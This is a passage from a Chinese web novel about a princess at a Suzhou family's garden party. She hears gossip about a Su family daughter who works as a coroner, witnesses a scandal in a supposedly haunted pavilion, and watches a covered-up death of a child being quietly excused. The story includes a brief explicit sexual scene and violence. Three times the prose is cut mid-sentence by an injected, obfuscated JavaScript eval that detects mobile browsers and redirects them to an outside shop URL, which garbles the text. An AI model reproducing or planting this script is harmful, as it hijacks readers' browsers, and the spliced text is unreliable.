他摇摇头:“算了,天下乌鸦一般黑,苏州的豪强与漉水的豪强又有什么分别……” 冬至没听明白:“这又和豪强有什么关系?姜家是当地豪强,莫非姜家也摊上事了?” 郇寰转身从他手中抽走了那张帖子,嗤笑:“天底下又有谁家是一清二白什么事也没有的?漉水当地盘根错节,苏州怎能例外?苏家敢接鄢汝言的地,敢站队党争,我倒要看看他们还敢做些什么。” 姜家祖籍苏州府长洲县,经商入仕几代下来,也成了当地数一数二的衣冠阀阅之族,城外良田万顷,城内宅院精致。到了现在这一辈,姜家没出什么拖朱拽紫的大官,却以族中美人辈出而闻名姑苏。 “十娘!快下来,前头来贵客了……” 沈明枳正由里三层外三层的官太太们簇拥着逛园子,忽听不远处的小阁楼前传来这样如莺啼婉转的女声,不由得侧目,就见那阁楼雕花,二楼窗前一抹桃花色一闪而过,片刻,自前方太湖石障后款款走来了几个女子。 为首的那位盘发美妇体态袅娜,与一众闭月羞花的姜家姑娘站在一起毫不逊色,姜大夫人笑着介绍:“这是我家老二媳妇,姓苏,今日的席面就是由她操办的。” “民妇参见公主殿下。” 沈明枳朝她微笑,克制着自己心中的惊艳,将春风拂柳般的目光划到了姜二夫人身后的三位年轻姑娘身上。小姑娘正是豆蔻年华,娇滴滴与诸位贵客见完礼,稍稍被夸上一句,那鲜嫩得能掐出水的脸蛋霎时绯红。 姜大夫人问向那个如同穿了一身桃花织衣的年轻姑娘:“十娘,你方才在阁子上作甚?那边阑干有些松了,我不是早让人围了楼梯不让你们上去吗?” 姜十娘瞥了一眼姜二夫人,又偷偷瞟了一眼沈明枳,怯怯地回道:“是,只是听说二哥特意折了几瓶桃花养在那里,就等明日二嫂嫂生辰献礼呢……” 沈明枳微一挑眉,随众女眷一同看向姜二夫人,姜二夫人用帕子掩着半边脸,敛眉垂眸,似羞似赧。 一年轻美妇奇怪:“现在都四月了,哪里来的桃花?” 那位体态最雍容的王夫人回道:“人间四月芳菲尽,山寺桃花始盛开。看来二爷与二夫人真是情深意笃啊。” 看过沈明枳脸上的微笑后,姜大夫人咽了训斥,“也罢,你既然喜欢桃花,改日带人亲自上山去看吧,只是那阁子还是不要上去了,万一摔下来可不是闹着玩的。” 姜十娘无比惊喜,看向沈明枳如同看见了福星,轻快地朝诸人福礼:“好,嫂嫂放心,公主见证,一言为定!” 诸位夫人都不由得笑了。 姜大夫人朝沈明枳笑道:“让公主见笑了,家里这些小丫头都被惯坏了,不知礼数,多有冲撞,还望公主见谅。” 沈明枳摆手:“性子活泼些很好,就是太过欢脱磕绊到了就不美了。” 没想到先前还小心翼翼的姜十娘是个自来熟,笑得两眼弯弯:“谢公主关心,十娘一定谨记,这次实在是个例外,二哥准备的花太美,装花的瓶子也美得不行,所以嫂嫂还是不要怪我啦,那般漂亮,谁见了都挪不开眼的!” 姜大夫人隔着袖子拧了姜十娘一把,诸位夫人笑得更厉害了。 王夫人捻着帕子,“花美也就罢了,瓶子美得过头可就要喧宾夺主盖过花的势头了,这种瓶子单个就已经不俗,想好上加好反倒让人眼花缭乱。可见啊,二爷真是什么好东西都想献给夫人讨欢心呢。” 沈明枳轻笑了两声,姜二夫人稍见窘迫,姜大夫人连忙圆场:“好了好了,你们去前头玩吧,一会儿诸位夫人陪公主殿下逛过了这园子,便也要去前头赏花呢,你们便也别拘着了,小姐妹来了一起说说话吧。” 望着姜家姑娘远去的身影,沈明枳笑向姜大夫人:“美人出南国,灼灼芙蓉姿。” 姜大夫人还来不及谦虚,以王夫人为首的贵妇们就夸赞起了姜家女的花容月貌,姜家两位夫人支应不及,索性将话头牵扯到了全苏州闺中待嫁的姑娘身上。姜大夫人朝说得最起劲的王夫人笑:“我听说知府大人家的千金也是知书达理、秀外慧中,几场诗会下来就名满姑苏了。” 沈明枳慢慢踱着步子赏着江南风景,闻言看了过去,王夫人言语间不乏有自豪意:“唉,她们两个丫头有什么才名,不过是闲了读几首酸诗罢了,她们两个性子野,在长安时成天不着家,最喜欢去外头捶丸打马球……” “夫人是长安废都人士?” 王夫人见沈明枳起了兴致,笑得见牙不见眼:“不是,回公主,我娘家是靖安的,我家官人曾在长安废都任职多年,之后下的江南。” 沈明枳微一挑眉:“西北靖安?” 姜太公钓鱼,愿者上钩。在这一众江南世家出身的夫人里,沈明枳这位化隆来的公主是个另类,而苏州知府李增祥的夫人也是个另类,惺惺惜惺惺,她们之间的距离天然地就会更近一些。但其实,真的让王夫人以为自己鹤立鸡群于一众显贵的缘由不仅仅是这种“熟悉之感”。 王夫人如愿应道:“回公主,是,就是封了侯的那个靖安。” 在场诸位都不了解离江南千里之外的化隆帝都里的人情往来,听不懂王夫人的哑谜,每个人心里都多了几分不屑与几分着急。 沈明枳面上还是惠风和煦的,心却冷了下来,“原来夫人娘家与靖安侯齐家沾亲啊——本宫幼年也酷爱马球游猎,性子也很野,不过长大就好了,李家二位姑娘既有诗才,又在江南这样钟灵毓秀的温婉之地陶冶,夫人也不必过分担心了。” 这时,有女使疾步走来,附耳与姜二夫人说了几句,姜二夫人向姜大夫人、沈明枳一拂身:“前头有事找,容妾身告退。” 沈明枳朝她一颔首,姜大夫人拦了拦低声问她:“是赏花台布置好了还是前堂来人了?” 沈明枳背过身与诸位夫人说笑,不欲偷听,可该听到的都听见了:“是前堂那位来了,正要找二爷找不见。” 姜大夫人不禁诧异:“真来了?那你快去找,不能让人久等……” “夫人既是有事,那便去处理吧,这里有我们陪着公主,断断不会怠慢公主的。”方才王夫人意犹未尽,笑着朝姜家二位夫人福礼道。 这便十分失礼了。诸位女眷脸上都露出了鄙夷之色,沈明枳将她们的神色尽收眼底,包括姜家两位夫人脸上闪过的尴尬与震惊,她不得不端出了三分真诚朝脸色尤其难看的姜大夫人笑劝:“既有要事,夫人就先去吧,正好本宫逛了这么久也有些累了。” 姜二夫人连忙指了女使要引沈明枳去早就备下的厢房休息。等姜家二位夫人都走了,沈明枳没有理会跃跃欲试的王夫人,捡起先前早就落了地的话题笑赞:“姜二夫人面若芙蓉,有咏雪之慧,想来苏家的姑娘也都是月里嫦娥般的美人。” 一名上了年纪的夫人连忙接话:“确实,苏家女的确是漂亮,尤其是苏家的七小姐,那模样,若非是岁数差得多了,我儿年幼,我当真要上苏家把她聘过来呢……不过近日苏老太爷身子不好,故而今日只有苏家大公子前来贺寿,女眷们也都没有来,公主殿下是见不到了。” 先前奇怪“四月桃花”的美妇又奇怪问:“苏家最漂亮的不是那个小庶女吗?什么时候变成苏七娘了?” 沈明枳循声看了过去,周遭随着这声问渐起的私语霎时湮灭。王夫人逮到了机会,但说气话来也是满脸一言难尽:“公主不知,那姑娘是个偏了又偏的庶女,出身不好,也不知哪里学的医术,离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514310|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了家门给衙门里做起了验尸的勾当,这名声——自然也差了。” 方才还在暗慨苏老太爷身子不好与临川府卖田事的牵连,听了这话,沈明枳眼睛一亮,“验尸?她是仵作?” 王夫人笑得不阴不阳:“她行仵作贱业,便算是半个仵作吧。因着她的事情,苏家女的名声都被牵连了,苏老太爷为此生了不少气。” 有人替苏家圆场:“不过她生得真的好,民妇是亲眼见过的,真比旁的姑娘还要美上七分,就是成天和死尸打交道,甚是可惜。” 王夫人不依不饶:“哪个正常姑娘会放着世家小姐不做,巴巴跑去验尸的?她性子也怪得很……” 沈明枳心中对王夫人的三分不喜已经酝酿成了十万分,可偏偏面上不显,王夫人还说得兀自高兴,等到众人都发觉沈明枳的冷淡,王夫人已如跳梁小丑说了不少苏家糗事,而园门近在眼前。 “殿下,不去歇歇吗?”夏至陪着沈明枳绕了另一条荒僻的石子小路,重新回了园子。 “有什么好歇的?江南景色难得,一辈子就看这一次,岂能浪费?” 话落,前方岔路上隐约也走过来一个人,就是方才两问“奇怪”的那位美妇,她见了沈明枳不由得诧异:“参见公主,公主不去厢房休息吗?” 沈明枳微笑:“去坐了会儿,但还是觉得本宫难得来一次,良辰美景不能浪费。陆夫人呢,怎么也独自一人?” 陆夫人脸上露出一抹复杂,朝沈明枳挤了挤眉眼。 沈明枳自诩平易近人,“既如此,不知本宫可有幸,邀陆夫人同游?” 陆夫人生动展示了“惶恐”二字的写法,但“盛情难却”,她还是“乖顺”地陪沈明枳走上了深入花园的曲折小路。 夏至与陆夫人的婢女远远缀在后面,那座雕花古朴的阁楼又出现在了一片花红柳绿里,沈明枳笑道:“姜家二爷与二夫人情谊深重,真是羡煞旁人。” 陆夫人赞得诚挚:“是啊,姜家二爷在苏州的风评极好,与夫人成婚后育有一子,多年未有别的通房妾室,在外面更是连女人的手都不沾,一心一意只向着夫人,当真是让苏州城里的每个夫人都羡慕嫉妒,姜二夫人的命是真的好啊!” 沈明枳轻笑:“确实是好,听起来苏家家私常引人口舌,但大夫人一心维护弟妹,妯娌和睦,确实是好命。” 陆夫人叹息:“大家都不容易啊。” 沈明枳偏头看她。 “今日贺寿来的这位苏家大公子是二夫人的嫡兄,以前就是姜家二爷的反面,吃喝嫖赌无有不沾,偏偏他又是宗子宗嗣,是要继承家业的,苏老太爷头疼不已。不过后来,二夫人出阁,苏家这位竟与姜家妹夫私交甚笃,蓬生麻中不扶而直,苏家这位竟转了性,花街柳巷也不去了,据说在家读书准备科举呢。” “是好事。” “是啊,老太爷高兴着呢,谁知道突然出了那一档子事,苏家的口碑都碎成渣了……” 沈明枳挑眉。 “公主您不知道,当仵作也就罢了,事情瞒上一瞒、晾上一晾,也没有人会闲着去戳他们家的脊梁。可偏生这个小庶女长得极美,性子又迥然于众——”说着,陆夫人环顾四周,声音压得极低刚要开口,忽听清脆一声从前方花木中传来,聚精会神说八卦的和聚精会神听八卦的俱是一惊:“诶,十娘,里面真的没有鬼吗?” “子不语怪力乱神!世上哪有鬼,全是人在捣鬼!” 姜十娘道:“诶,我也不相信的,所以今天我进去看了,没什么异常。可守园的小厮都说夜里有声响,进去看了空无一人,一人这么说或许有假,可大家都这么说难道还有假?就算有鬼,现在是大白天的正午,鬼也不会出来。” “唉十娘,会不会是你家长辈故意放出的风声,将此地当成了藏宝阁,用鬼怪说保护它……” “嘘——” 沈明枳抬脚走了过去,那头三个小姑娘登时逃窜。 13. 第十三章 人鬼说 雕花楼阁拔地而起近在眼前。 沈明枳微一凝神,自言自语:“既然阑干松了,今天姜十娘又跑了上去,理应派人看守以防出事……” 陆夫人仰头望着这二层楼高的阁子,“闹鬼之事我略有耳闻。”她提起裙摆,走上楼前的一级青砖垒起的台阶,边伸长了脖子朝门内张望,边给沈明枳解释:“听说二楼的阑干松了,姜家有个远房表侄来玩,结果摔了下来,小小年纪人就没了,然后就有了闹鬼之事,都说是这孩子怨灵不散,一定要把姜家闹得天翻地覆呢。” 沈明枳蹙眉:“那阑干就没修过?” “当然修过了,修了多少次,可就是修不好——”陆夫人的声音一顿,“这门居然没关!” 陆夫人轻轻一推,“吱呀”一声,正门洞开,黑黢黢露出了空荡荡的一楼大堂,阴气逼人。她被自己吓了一跳,连忙跳下台阶蹿到岿然不动的沈明枳身边,见沈明枳眼露考究,方才觉出自己的失礼。 沈明枳端详着这诡秘的阁子片刻,方才开口:“走吧,既然是主人家围起来的地方,久留无益。” 陆夫人松了一口气,连忙续上先前断掉的话:“唉还是说苏家那位小庶女吧,她漂亮啊,性子又怪,常人自要退避三舍,可偏偏有人喜欢这样的野趣,她也豁得出去,居然就当了一位自化隆来的大官的外室。” 沈明枳还萦绕着阁子秘闻的心倏然一紧。 化隆城里的大官? 不会是熟人吧。 一瞬。 两瞬。 三瞬。 沈明枳沉寂了许久的心鼓终于擂了起来。 化隆城里称得上“大官”的人她哪个不认识,六部九卿、皇亲国戚,就算是已经退下来告老的那批,沈明枳也都记得。依着她对这些人的脾性的了解,能有这种“野趣”的可谓寥寥无几,抑或者魑魅魍魉不可貌相。 陆夫人瞧出了沈明枳的质疑,连忙补充:“所以公主明白了吧,苏家有头有脸,真要处理这件事岂不容易?说得难听些,就算是打死了正家法也不是不行。可现在,活生生被逼得像吞了只苍蝇,砸在手中、平白添耻。” 她再叹一声:“碍于那位大官靠山太硬,还让衙门里多加关照,那庶女本事也大,连着帮衙门里破了好几桩案子,管刑狱的老爷也向着她,苏老太爷被气得吐了好几回血,全族上下都被流言蜚语压得动弹不得,只能退避三舍、自认倒霉。” 沈明枳忍不住问:“夫人可知那名官员姓甚名谁?” 陆夫人三叹,一幅爱莫能助的模样。 也是,这样既能弹压地方、又能驰骋朝野的大员,自然要将、能将这种把柄藏得严严实实。不过沈明枳还不死心:“那夫人可知,她办过什么案子?” 这是有些为难她了。说几句家长里短后宅之妇或许在行,可牵扯到衙门公案只能、只可能“一问三不知”。不过,陆夫人给了沈明枳惊喜:“具体的我不知道,但我依稀记得近来是没有的,她风头最盛时苏州也有化隆来使,哦对了,那位来使与今年前往漉水的那位按察使大人是同一人呢,因着这位大人名气太大,故而我还有印象。” 沈明枳一愣,缓了几个弹指方才追问:“名气大?” 陆夫人微笑:“是啊,据说这位大人年纪轻轻就身居高位,出身不凡,更有天人之姿,上回来时苏州当地的人家就在打听他的家事,说是还未娶亲,也不知这一两年、两三年过去了,又是什么光景。” 沈明枳心中泛滥而起的惊骇,不啻于一场毁天灭地的桃花汛。诸多推测就这样自然而然、顺理成章地铺展于她的眼前,连臬司衙门的那个风雨夜,冬至说起苏家事时的每一个迟疑停顿,郇寰每一个掩藏于灯影中的细微表情,都如在眼前。 惊骇的浪头打过,出露的就是大写的“荒唐”。 尚且没有实证,可这件事在她心中仿佛已经安在了郇寰头上。沈明枳一时间琢磨不清,是因为自己在不知不觉中已经打算对付起郇寰,还是单纯出于自己的恶俗。金玉之质陷泥淖、竹柏之资毁衽席,这是凡夫俗子最爱看的戏码,她也不过是个天大的俗人。 她蓦地想起了梅如故评价郇寰时所用的“是非”二字。 梅如故说得太对了,郇寰身上到处是“是非”,人前的郇寰已算复杂,而他本身要比表现出来的更加深邃。 陆夫人本想向沈明枳这位“平易近人”的公主打听那位俊逸非凡的化隆来使,以便将来在茶话会里大放异彩,谁料沈明枳在出神,且她突然发现,她们绕来绕去又绕回了那座阁楼。 干巴巴望着这精巧的阁子,陆夫人咽了咽口水:“大白天的,总不会是鬼打墙吧?” 话落,在沈明枳出声抚慰她前,两个人都听见阁楼里传来了一声尖叫,不辨男女,紧随其后的便是乒呤乓啷各种家具翻倒、瓷器脆裂的响动。 应当是南海道走了一遭后练出的可悲的仗义和深埋于心割舍不断的善念,驱使着沈明枳如离弦之箭般冲进了尚且洞开着的正门。陆夫人腿软,但也似被沈明枳的决绝感染,一咬牙一横心,拔下头上的金簪,也紧随沈明枳和夏至的脚步冲了过去。 二楼只有左右两厢,楼梯口正对一只瓶形博古架,架上摆着的青色玉壶春瓶中,稀稀拉拉插着几枝暮春桃花色。陆夫人上楼的响动太大而声源的响动太小,沈明枳立于左右分叉的中央,浑身紧绷地捕捉二楼的一切声响。最终她锁定了,那断断续续的奇怪声音就是从离自己不过十几步的左厢里传出来的,且冷静过后她才发现,那房门开了一道口子,关得并不严实。 正当沈明枳也拔了头上的玳瑁簪,蹑手蹑脚靠近左厢厢房,瞬息,又是一声夹杂着细语尾音的低吟从门缝里流了出来。 沈明枳被这声音中的极乐意懵在原地,倒是陆夫人应激上头,三步跨了过去,就在伸手推开房门前,也如遭雷劈地驻足不动。 此时身后又传来了人声脚步。 沈明枳浑身一震,下意识地上前两步靠近了尚且木楞的陆夫人,余光一扫门缝,空无一人,只有摆在地上八仙桌前的四腿木凳子的一只脚,被人死死握住。 骨节分明,青筋暴突,是一只男人的手,且指尖还沾着一点乳白色的污秽。那凳子没有什么分量,借不了人多少力气,很快就“咣当”一声翻倒在地,而随着这一声轻响炸裂耳畔的,还有两个人纠缠至极的呻吟。 上楼的砰砰脚步声与木料挤压发出的吱嘎声缠绕不休,就在这样的混乱里,一道年轻的声线唤回了沈明枳的理智:“这里怎么有人!” 头皮发麻,背脊生凉,沈明枳浑身一抖,倏尔转过身看向楼梯口——打头上来的是一位姜姓少年,沈明枳在姜老太爷那里见过他,随他一起上来的还有另一位姜家少爷和三五个衣服颜色暗沉的中年男人。他们面容神态被挺拔的少年挡着,但沈明枳还是一眼看出周围一圈的恭维客套全是对着最中央、褰袍而上的最后一人。 “你们是?” 两位姜家少爷在认出兖国公主时,郇寰也看见了面无人色的沈明枳,拂开挡在自己身前的姜家人,径直走过去将人拉到了身前咫尺之地。他一句“出什么事了”还未脱口而出,门内又响起了更加肆无忌惮的叫喊。 在场的所有人惊骇不已。打头阵的姜少爷登时上前,绕过还如同钉子一般定在那里的陆夫人,一脚踹开了房门,待他看清了屋内境况,直如白日见鬼般大叫一声:“二……二叔!” 一股子腥臭的气味扑面而来,郇寰眉峰聚拢,侧身往屋内一扫,就见桌凳翻倒,污浊满地,而一片碎瓷、败花的狼藉之中,还有两个赤红着眼睛的男人旁若无人。 郇寰连忙背过身,用身体挡住沈明枳的视线,余光又瞥了一眼那两个人,瞧着模样已经不是头一次。他以前忙得头脚倒悬时就办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514311|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过这种案子,那时见的是已经凉透了的尸体,而今却见到了活生生的世面。 这时,意识到形势不对的姜家长辈拥上来堵在门口忍不住狂吼,却不知是谁说了一句“苏大公子”,郇寰眼皮一跳,要揽沈明枳的手在空中一顿,就这样让沈明枳走出了掌控,走向了靠上阑干的陆夫人。 “当心!” 夏至警觉,迅雷不及掩耳地拉住了还未回神的陆夫人。 捏了一把汗,沈明枳这才将心放回了胸腔,转身看见了负手立于门口、脸色阴沉的郇寰。郇寰也看见了沈明枳逐渐恢复血色的一张脸,终于还是迈步走了过去。 “没事吧?” “你怎么来了?” 两人同时出声,又同时住口,都神色复杂地看着对方。 最终还是郇寰打破了沉默,隔着衣袖拉着沈明枳,由焦头烂额的姜家人引着走进了隔壁刚开锁的右厢。右厢与左厢的布置一样,只是博古架上摆满了的是各式各样的瓷器,瓷瓶、瓷碗、瓷盘、瓷枕、瓷塑,直让人如入漉水瓷窑的大观园。 沈明枳似是明白了郇寰的来意,可猜想经不起推敲,她很快又糊涂了。 姜家大爷姜世训朝沈明枳和郇寰拱手:“惊扰二位了,请二位贵客在此稍候,左厢的事很快就会处理好的……”他说的话连他自己都不相信,声音很快就低了下去。 郇寰朝他颔首,目光顺势落在了被婢女颤巍巍扶进来的陆夫人脸上。陆夫人一见沈明枳,如同见了菩萨在世,连忙要跪,又看见了面色冷峻的郇寰,就半跪不跪地僵在了那里。 “快将你家夫人扶起来。”沈明枳掺着陆夫人,朝那个同样呆在原地的婢女叫道。 姜世训出现在了门口,见了这一幕进退两难,郇寰看清了他的顾虑,便面向沈明枳,是征求意见的姿态,可话却说得不容置喙:“将这位夫人请出去休息。” 沈明枳松了手,无声看着陆夫人被请了出去、请下了楼。 而郇寰在看她。 左厢还在翻天覆地,姜世训在郇寰给老太爷贺寿的时候知道了他们的关系,便没敢将沈明枳也请出去,亲自将门关上,朝郇寰一揖:“郇侯,左厢的还在打扫,其余的都在这里了。” 郇寰移开落在沈明枳身上的视线,从袖中抽出帕子擦拭座位,随即示意沈明枳一起坐下,并不去看满屋子的瓷器古董,“我要找的东西不在这里。” 姜世训脸上的妥帖客气出现了一丝龟裂,“郇侯您不看看?我们姜家累代荣得的皇家赏赐都在这里了。” “这座雕花楼的钥匙有几把?” 姜世训愣了一愣,还是回道:“两把,一把在父亲那里,一把在管家那里。” 郇寰往椅背上一靠,“姜府现在是谁管家?” 姜世训不说话了,他明白了郇寰的意思。现在姜府是老二媳妇管家,钥匙在老二媳妇手里,所以右厢被锁得好好的,而老二却可以出现在门户洞开的左厢。右厢的灰积了厚厚一层,少有人来,东西也无人擅动,但左厢……所以,他本就是冲着老二来的? 姜世训被自己的这个揣测吓到了,回神见郇寰正盯着自己,黑沉沉的眸子里似是吞尽了永夜。他局促不安地挪开视线,却对上了沈明枳同样状若寒潭的眼神。姜世训不敢再看,只垂下眼盯向脚下的地板,地板上灰尘四散,一个个脚印清晰可辨。 “所以,根本没有鬼,全是人。” 姜世训猛地抬头,在迎上沈明枳目光之前,撞上了郇寰那可以将人扒皮抽筋于无形的眼神。 “是,没有鬼,闹鬼之说都是编的。只因为这阁子以前遭过贼,丢过东西,可御赐之物怎么能丢啊!后来阑干修了又坏,有人便传是鬼祟作怪,反倒没有人敢擅自接近,东西也没再丢过,故而没有阻止。” “那个孩子是怎么回事?” 姜世训嗫嚅:“是个意外。” 14. 第十四章 分桃意 “意外?”郇寰凝眉。 “是,是意外。”姜世训朝郇寰答话:“毕竟这世上没有鬼,就算有鬼也总有不信邪的。这孩子是我家的旁支,来过团圆年,小孩子总有使不完的劲、信不完的邪,偷偷想上阁子瞧一瞧鬼的面目,可巧那天夜里就有一个家贼撬锁入了左厢——” 姜世训面露悲色:“就在方才陆夫人站过地方,阑干一松就摔了下去。” 郇寰沉声质问:“这楼没有人看守?” “就是看楼的家贼,他以为人死了,便将尸首扔到了园子里的那片荷塘,等第二天打扫园子的人发现砖缝里的血迹,这才发现孩子根本不在屋里睡觉,已经没影了。” “他以为人死了?”沈明枳冷冷复述。 姜世训长叹一口气:“楼层低,摔不死人,后来悄悄请仵作验过,孩子是溺死的。” 郇寰阖上眼,直觉告诉他其中有异,“那贼呢?” “这是家中丑事,不可公之于众,幸而东西也找回来了,便私下了了,没惊动官府。” “了了?”郇寰挑眉。 沈明枳直白译出了语中暗示:“私杀奴仆犯律。” 姜世训冷汗涔涔,踟蹰了片刻,想起了临走时父亲让他向郇寰坦诚的叮嘱,便横下了心,埋头瓮声辩白:“本来是想移交官府的,但,但那孩子从小就与老二投缘,老二痛惜,一气之下拦都拦不住,一剑杀了那贼。” 原来藏藏掖掖就是为了保他。 沈明枳的心沉了下去,话也冷得结霜:“有一就有二,想来这法外楼里的人命不止一条。” 姜世训就差指天立誓了:“苍天在上,公主明鉴,这就是一个意外!” 他对沈明枳义正词严,眼睛看向的却是郇寰。郇寰微一沉吟,在沈明枳再度出言追逼前打断:“阑干究竟是怎么回事?” “阑干是修过的,可那阑干本就修得低,后来又有人跌下去摔伤了腿,就再加高了一层,但这阁子的阑干、台阶一开始就是设计好的,临时增添不能契合榫卯,木材的年岁久了,发生松弛也是常有。这样一来,就,就不稳固,后来出了鬼祟流言,去的人也少,干脆就不修了。” 沈明枳瞥了一眼郇寰,仍兀自问道:“鬼祟流言风靡,你们就没有亲自去查看过?就不怕意外的意外就是别有意外,这楼里真有鬼呢?” 姜世训面朝郇寰:“去看过了,我们都去看过了,半夜三更的、天薄大亮的、刚一入夜的,都去看过了,分明连只老鼠都没有啊!那些守园子的听见响动,大概就是风声树声,再有心中鬼祟作怪,以讹传讹。” 郇寰也不知沈明枳今日是怎么了,从前事不关己高高挂起,为了公心正气多质问几句也就过去了,现在却为了一桩陈年旧案步步紧逼至此:“仵作验尸,请的是衙门里的仵作?” 姜世训也没想到沈明枳会如此寸步不让,朝郇寰投去了求救的目光,可惜郇寰心里正乱着,没有看出姜世训目光中的深意,姜世训只能硬着头皮如实回禀:“不是。” “不是?那请的是何人?屠户?医生?”沈明枳看向面色阴寒的郇寰,“孩子没了可报一个失足落水,家奴没了也可报一个携私潜逃,到官府禀了借口、销了籍,事情就揭过了。坠楼不死那就只能是淹死,大家都心知肚明,可偏偏请了仵作,这是何意?就不怕仵作将事情透了出去、坏了姜家的名声?为何请仵作、是谁请的仵作、请的又是哪里的仵作,姜大爷,您细细说吧。” 姜世训最后求了郇寰一次无果,只能如实回答:“回公主,请仵作是旁支亲戚的意思,是老二媳妇请的仵作,请的仵作就是……” “就是什么?” 郇寰隐感不详,撂下了心中的一团乱麻,直了脊梁死死盯住嘴唇发颤的姜世训。姜世训心灰意冷,不再看上首坐着的任何一个人,只如被上首泰山似的气势压得抬不起头,声如蚊呐:“就是苏家庶女,那位颇有名气的女仵作。” 一瞬。 两瞬。 三瞬。 沈明枳收回目光,关于姜家旁支亲戚为何执意要验的问话也咽了下去。问出了这个女子绝对是个意外,可意外地,好像所有云遮雾绕的事情都随着突兀话中的仵作水落石出。请仵作这样的大事为何由姜二夫人准备?姜二夫人为何敢、为何能够不避嫌、不避人情之大不韪地请出这个遍惹是非的同宗女子? 空气中的沉默折磨着姜世训,一刀刀地割着他的鼻道,一刀刀地划开他的气管。在他快要喘不过气时,他一掀衣摆,抛去了所有礼数、掩饰与顾虑,竟然直挺挺朝郇寰跪了下去:“郇侯,这就是个意外,还望您看在家父的面子上,抬抬手吧。” 死咬不放的是沈明枳,可姜世训求上了郇寰。他不知道眼前这位煊赫的驸马都尉能否挟制高高在上的兖国公主,他只知道,只有郇寰能帮姜家,只有郇寰会帮姜家。 抬抬手。 可这手也不是他的。 郇寰垂眼看向地上凌乱的尘土,极力捋度着重逢后与沈明枳的关系,可盘根错节、纷乱如麻,愣是连一条头绪都理不出,一如眼前尘土。他们近至肌肤相贴,可心却远如海北天南。他一眼也不看沈明枳,也不看逼上绝路的姜世训,更不看门上闪过的人影与明明灭灭的天光,只缓缓地闭上眼,“我只当没听过。” 沈明枳也阖上了眼。 郇寰一时看不清她,可此时她却将郇寰看得一清二楚。倒不是她有多么洞若观火,而是郇寰,白纸黑字地将所有的权衡利弊都写了下来,她看得见、嗅得出那墨迹里盈得过分的鲜血。 分明郇寰一向就是这样明火执仗地做事杀人的人,她却会有种被骗、被瞒的错觉。 二楼摔不死人啊,但人却死了。 沈明枳记得去年春夏之际,南海道哗变斗乱,布政使王叔远揪结地方意图不轨,朝中为了出使钦差的名录吵了月余。圣上身体抱恙,诸王虎视眈眈,她那已经被内定为钦差主使的九哥曹王就在一场宴会上摔断了腿。 那也是一座两层高的小楼,浓荫蔽日的一棵大树就能与之并肩,可摔下来人没死,顶天立地的国本却动摇了,本就闹成一锅粥的朝廷更加不可开交。 郇寰就踏着这样的纷乱,火急火燎地从皇城赶来接她回府。在外,沈明枳从不拂他的面子,可上了车,世界都隔在了帘外,她卸下伪装,等待郇寰也扯下自己的面具。 “曹王去不了了,吴王、燕王仍在鲁中赈灾,华妃病笃魏王侍奉,戒子年纪还小。那么,赵王会去吗?郇侍郎,你会去吗?” 回复她的只有沉默。 现在想想,她错得离谱。 郇寰从来没有装过。 新婚燕尔自然要蜜里调油,家中琐事自然可百依百顺。但出了房门、出了府,入了皇城、入了宫,那就是他经纶仕宦的天地,那就是只允雄鹰搏击的长空。他公私向来分明,“家国大义”与“儿女情长”泾渭分明,“郇侍郎”与“郇驸马”是两个人界限分明。 姜世训低声谢过,撩着袍子站了起来。 门外响起了敲门声:“夫人们来了。” 姜世训亲自开的门,所有女使包括夏至都被遣到了楼外,姜大夫人扶着杏腮垂泪的姜二夫人一并迈过门槛,朝沈明枳与郇寰一拂身施礼。郇寰只是略略扫过两人的形容就别开眼,沈明枳站起身,上前虚扶了一把颤颤巍巍的姜二夫人,“不必多礼。” 月死珠伤,芝焚蕙叹。郇寰听着沈明枳的嗓音,心想冷硬刚直一如沈明枳,一句短短的场面话也能说得这样柔婉,应当是可怜她的。 沈明枳刚要收手,隔壁传来了一阵暴动,隆隆隆打雷似地滚过一串脚步,旋即,一个赤身裸体只披了一件外衣的男人堵到了门口,再一个眨眼的功夫,鲜红的拇指印就随着扬手一巴掌落到了姜二夫人的脸上。 “贱人!你看着老爷子快不行了就来替你弟弟算计我!” 姜大夫人和姜世训俱是惊得目瞪口呆,还没反应过来,苏世杰刚扇过巴掌的手就攥上了姜二夫人纤细的脖颈,另一只手捏着一片寒芒,直直朝姜二夫人的脖间刺去。 沈明枳浑身一震,先前冲进楼里打算见义勇为的热血尚未凉透,激得她整个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514312|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人亢奋地就要扑过去,谁料肩上一紧,整个人头重脚轻地跌入了一个怀抱。郇寰猛地朝苏世杰的手腕劈去,又在旋身遮住沈明枳的瞬间,顺势捏了拳头捶在了他的腹部。 苏世杰惨叫一声跌坐了下去,被连忙赶来的姜家人按在了地上。 “贱人!贱人生的贱种!就你们也配和我抢——唔!” 